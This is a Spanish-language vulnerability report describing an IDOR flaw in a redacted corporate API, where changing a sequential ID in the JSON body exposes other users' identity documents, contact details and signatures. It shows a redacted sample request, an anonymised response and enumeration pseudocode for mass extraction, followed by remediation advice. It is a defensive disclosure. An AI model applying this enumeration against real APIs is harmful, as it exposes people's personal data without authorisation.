Resumen

Se identificó una vulnerabilidad de tipo IDOR (Insecure Direct Object Reference) en un endpoint API de una aplicación de gestión corporativa. La API utilizaba un mecanismo de llamadas donde el identificador del recurso se enviaba como parámetro en el body JSON.

No existía ninguna validación de autorización a nivel de objeto: cualquier usuario autenticado podía acceder a los datos de cualquier otro usuario simplemente iterando un ID numérico secuencial.

Detalles técnicos

Endpoint vulnerable

HTTP Request — IDOR en body JSON
POST /api/[REDACTED]?token=[REDACTED] HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
Authorization: [REDACTED]

{
  "action": "entityService",
  "method": "getRecord",
  "data": [
    "582941"
  ],
  "type": "rpc",
  "tid": 7
}

El primer elemento del array data es un ID numérico secuencial. Cambiando este valor por cualquier otro ID se obtenian los datos completos de otros usuarios sin ninguna validación.

Datos expuestos

Response — Datos personales expuestos (anonimizado)
{
  "result": {
    "status": "OK",
    "record": {
      "id": "582941",
      "full_name": "[NOMBRE COMPLETO]",
      "id_type": "national_id",
      "id_number": "[DOCUMENTO IDENTIDAD]",
      "phone": "[TELEFONO]",
      "email": "[EMAIL]",
      "address": "[DIRECCION]",
      "organization": "[EMPRESA]",
      "documents": {
        "photo": "PHOTO_582941_[DATE].jpg",
        "id_scan": "DOC_582941_[DATE].pdf",
        "certificate": "CERT_582941_[DATE].pdf",
        "signature": "SIGN_582941_[DATE].tif",
        "consent_gdpr": "GDPR_582941_[DATE].pdf"
      },
      "status": "active",
      "created_at": "[DATE]"
    }
  }
}
Datos expuestos por cada registro: Nombre completo, documento de identidad, teléfono, email, dirección, empresa, y documentos adjuntos incluyendo fotografía, escaneo de documento de identidad, firma digital y certificados profesionales.

Escalabilidad del ataque

Al ser IDs numéricos secuenciales, un atacante podía automatizar la extracción masiva de datos:

Pseudocódigo — Enumeración automatizada
for record_id in range(500000, 600000):
    response = api_request(record_id)
    if response.status == "OK":
        save_record(response.record)
        # nombre, documento, teléfono, email, firma digital...

Impacto

  • Exposición masiva de datos personales (PII) de todos los usuarios del sistema
  • Acceso a documentos sensibles incluyendo fotografías, documentos de identidad y firmas digitales
  • Violación de GDPR/RGPD con implicaciones legales y sanciónes potenciales de la AEPD
  • Riesgo de suplantación de identidad con los documentos obtenidos
  • Enumeración completa de la base de usuarios por IDs secuenciales
Contexto regulatorio: Este tipo de exposición de datos personales puede acarrear sanciónes de la AEPD de hasta 20 millones de euros o el 4% de la facturación anual segun el RGPD. La detección y corrección temprana evitó un posible procedimiento sanciónador.

Remediación

  1. Implementar autorización a nivel de objeto — Verificar que el usuario tiene permisos sobre el recurso solicitado.
  2. Usar identificadores no predecibles — Reemplazar IDs secuenciales por UUIDs.
  3. Rate limiting por endpoint — Limitar peticiónes para dificultar la enumeración masiva.
  4. Minimizar datos en respuesta — Aplicar principio de minimo privilegio en los datos devueltos.
  5. Logging y alertas — Monitorizar patrones de acceso anomalos.

Referencias